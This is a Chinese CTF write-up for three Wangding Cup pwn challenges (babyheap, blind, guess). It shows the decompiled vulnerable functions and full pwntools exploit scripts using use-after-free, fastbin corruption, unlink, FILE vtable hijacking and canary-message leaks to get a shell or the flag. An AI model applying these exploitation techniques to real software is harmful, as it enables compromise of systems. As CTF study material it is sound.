网鼎杯 pwn 部分wp

 

网鼎杯 pwn部分wp

菜的不行的我就做出来了一道题。。。而且虚拟机版本太低环境变量还不一样,远程跑不了。。

1.babyheap

比赛的时候没做出来,后来看了swing大佬的解题才豁然开朗

程序分析: 每次只能申请一个0x30大小的堆块,很难搞

    unsigned __int64 add()
    {
      unsigned int v1; // [rsp+Ch] [rbp-24h]
      char s; // [rsp+10h] [rbp-20h]
      unsigned __int64 v3; // [rsp+28h] [rbp-8h]
    
      v3 = __readfsqword(0x28u);
      printf("Index:");
      memset(&s, 0, 0x10uLL);
      read(0, &s, 0xFuLL);
      v1 = atoi(&s);
      if ( v1 <= 9 && !heaplst[v1] )
      {
        heaplst[v1] = (char *)malloc(0x20uLL);
        printf("Content:", &s);
        getinput((__int64)heaplst[v1], 0x20u);
        puts("Done!");
      }
      return __readfsqword(0x28u) ^ v3;
    }

edit函数没啥毛病,但是只能用三次。

    if ( v1 <= 0x1F && heaplst[v1] && edit_count != 3 )

input函数同样没有利用点 问题出在free那里没有将指针置零

    unsigned __int64 delete()
    {
      unsigned int v1; // [rsp+Ch] [rbp-24h]
      char s; // [rsp+10h] [rbp-20h]
      unsigned __int64 v3; // [rsp+28h] [rbp-8h]
    
      v3 = __readfsqword(0x28u);
      printf("Index:");
      memset(&s, 0, 0x10uLL);
      read(0, &s, 0xFuLL);
      v1 = atoi(&s);
      if ( v1 <= 9 && heaplst[v1] )
      {
        free(heaplst[v1]);                          // uaf
        puts("Done!");
      }
      return __readfsqword(0x28u) ^ v3;
    }

由于它这个只能用fastbin,所以正常方法只能搞一个堆地址出来,所幸没有开pie,bss段存储着堆地址数组 emmm到这我就卡住了,本来还寻思用iofile做一下,后来发现好像构造不出来大小为0x30的堆块 看了大佬的wp才知道是用unlink做。。。 首先泄露堆地址,利用uaf使fd指针指向伪造堆块,之后用一堆fastbin的堆块伪造一个大的堆块使其落入unsortedbin,而后在后边的堆块里边构造unlink条件,使其fd,bk指向heaplst,触发unlink,这样就任意地址读写了,改malloc_hook或者free_hook都可以 为什么看了大佬的wp之后就感觉题目好简单,还有就是虚拟机真的该换了,环境太老了。

    from pwn import *
    context.log_level = 'debug'
    context.arch = "amd64"
    io = process('./babyheap')
    elf = ELF('babyheap')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    
    def add(idx,content):
    	io.recvuntil('Choice:')
    	io.sendline('1')
    	io.recvuntil('Index:')
    	io.sendline(str(idx))
    	io.recvuntil('Content:')
    	io.send(content)
    def delete(idx):
    	io.recvuntil('Choice:')
    	io.sendline('4')
    	io.recvuntil('Index:')
    	io.sendline(str(idx))
    def edit(idx,content):
    	io.recvuntil('Choice:')
    	io.sendline('2')
    	io.recvuntil('Index:')
    	io.sendline(str(idx))
    	io.recvuntil('Content:')
    	io.send(content)
    def show(idx):
    	io.recvuntil('Choice:')
    	io.sendline('3')
    	io.recvuntil('Index:')
    	io.sendline(str(idx))
    heaplst = 0x602080
    sleep(3)
    add(0,'A'*0x1+'\n')
    add(1,'B'*0x1+'\n')
    add(2,'C'*0x1+'\n')
    add(3,'D'*0x1+'\n')
    add(4,p64(0xa0)+p64(0x31)+p64(heaplst - 0x18) + p64(heaplst - 0x10))
    add(5,p64(0x30)+p64(0x30)+'\n')
    delete(1)
    delete(0)
    show(0)
    leak = u64(io.recvuntil('\n')[:4].strip('\n').ljust(8,'\x00'))
    log.success(hex(leak))
    heap_base = leak - 0x30
    
    edit(0,p64(heap_base + 0x20) + p64(0) + p64(0) + p64(0x31))
    add(6,p64(0) + p64(0xa1)+'\n')
    add(7,'A'*0x8+p64(0xa1)+'\n' )
    
    delete(1)
    
    show(1)
    one = 0xea36d #0x46428 0x4647c 0xe9415 0xea36d
    libc_base = u64(io.recv(6).ljust(8,'\x00')) -0x10 -libc.symbols['__malloc_hook'] - 0x58
    log.success(hex(libc_base))
    edit(4,p64(libc_base + libc.symbols['__free_hook'])+'\n')#0x602080
    edit(1,p64(libc_base + one)+'\n')#0x602068->free_hook
    
    delete(1)
    '''gdb.attach(io)
    raw_input()'''
    io.interactive()

2.blind

这道题。。说实话也不难。。 当时我是想用houseofroman做,但是不能用unsortedbin,根本搞不到libc地址 正确做法是利用iofile。。怪我年轻不懂事。。。 程序依旧没有开pie,同样的每次申请块大小固定,这次是0x70

    unsigned __int64 add()
    {
      unsigned int v1; // [rsp+Ch] [rbp-24h]
      char s; // [rsp+10h] [rbp-20h]
      unsigned __int64 v3; // [rsp+28h] [rbp-8h]
    
      v3 = __readfsqword(0x28u);
      printf("Index:");
      memset(&s, 0, 0x10uLL);
      read(0, &s, 0xFuLL);
      v1 = atoi(&s);
      if ( v1 <= 5 && !ptr[v1] )
      {
        ptr[v1] = malloc(0x68uLL);
        printf("Content:", &s);
        sub_400932((__int64)ptr[v1], 0x68u);
        puts("Done!");
      }
      return __readfsqword(0x28u) ^ v3;
    }

然后delete同样的没有将指针清零,但是有次数限制

    unsigned __int64 delete()
    {
      unsigned int v1; // [rsp+Ch] [rbp-24h]
      char s; // [rsp+10h] [rbp-20h]
      unsigned __int64 v3; // [rsp+28h] [rbp-8h]
    
      v3 = __readfsqword(0x28u);
      printf("Index:");
      memset(&s, 0, 0x10uLL);
      read(0, &s, 0xFuLL);
      v1 = atoi(&s);
      if ( v1 <= 5 && ptr[v1] && dword_602098 <= 2 )
      {
        free(ptr[v1]);
        ++dword_602098;
        puts("Done!");
      }
      return __readfsqword(0x28u) ^ v3;
    }

思路就是fastbin+uaf改掉heaplst中的指针,直接任意地址读写。比较恶心的地方就是 当时没发现魔术头7f,后来才知道在heaplst上边的stdin里边有指向libc地址的指针。。。在那里构造堆块就可以了 我们得到了任意地址写,在bss段伪造stdout的iofile结构,而且程序里边自带一个shell函数,把vtable里的函数改成shell地址就可以了

    from pwn import *
    context.log_level = 'debug'
    context.arch = "amd64"
    io = process('./blind')
    elf = ELF('blind')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    
    def add(idx,content):
    	io.recvuntil('Choice:')
    	io.sendline('1')
    	io.recvuntil('Index:')
    	io.sendline(str(idx))
    	io.recvuntil('Content:')
    	io.sendline(content)
    def delete(idx):
    	io.recvuntil('Choice:')
    	io.sendline('3')
    	io.recvuntil('Index:')
    	io.sendline(str(idx))
    def edit(idx,content):
    	io.recvuntil('Choice:')
    	io.sendline('2')
    	io.recvuntil('Index:')
    	io.sendline(str(idx))
    	io.recvuntil('Content:')
    	io.sendline(content)
    
    heaplst = 0x602060
    
    std_out = 0x602020
    
    shell_addr=0x4008E3
    add(0,'1111')
    add(1,'2222')
    delete(0)
    edit(0,p64(0x60203d))
    add(2,'aaaa')
    payload='aaa' + 'a'*0x10+p64(std_out) + p64(0x602090) + p64(0x602090 + 0x68)+p64(0x602090 + 0x68*2) + p64(0x602090 + 0x68*3)
    add(3,payload)
    IO_payload=p64(0x00000000fbad8000)+p64(0x602500)*7+p64(0x602501)+p64(0)*9+p64(0x602600)+p64(0)*8+p64(0x602090+0x68*3)
    vtable_payload=p64(shell_addr)*13
    edit(1,IO_payload[0:0x68])
    edit(2,IO_payload[0x68:0xd0])
    edit(3,IO_payload[0xd0:])
    edit(4,vtable_payload)
    edit(0,p64(0x602090))
    io.interactive()

3.guess

一道水题。。但是当时我也卡了好久。。 思路就是利用 canary报错泄露地址信息,然后由于flag保存在栈上,泄露出栈地址根据偏移就可以把flag打印出来,这里栈地址在libc的enviro字段里,偏移的话。。说实话我真的需要换一个虚拟机了,起码搞两个版本的

    from pwn import *
    context.log_level = 'debug'
    #io = process('./GUESS')
    io = remote('106.75.90.160', 9999)
    elf = ELF('GUESS')
    libc = ELF('libc6_2.23-.so')
    put = elf.got['puts']
    payload = p64(put)*0x200
    io.recvuntil('flag')
    io.sendline(payload)
    puts = io.recvuntil(': ')
    puts = u64(io.recv()[:6].ljust(8,'\x00'))
    print hex(puts)
    lib_env = puts - libc.symbols['_IO_puts'] + libc.symbols['environ']
    print hex(lib_env)
    t = lib_env +0x5d8
    payload = p64(t)*0x200
    io.recvuntil('flag')
    io.sendline(payload)
    leak = io.recvuntil(': ')
    
    leak = u64(io.recv()[:6].ljust(8,'\x00'))
    
    
    payload = p64(leak- 0x158)*0x200
    io.recvuntil('flag')
    io.sendline(payload)
    leak = io.recvuntil(': ')
    
    io.interactive()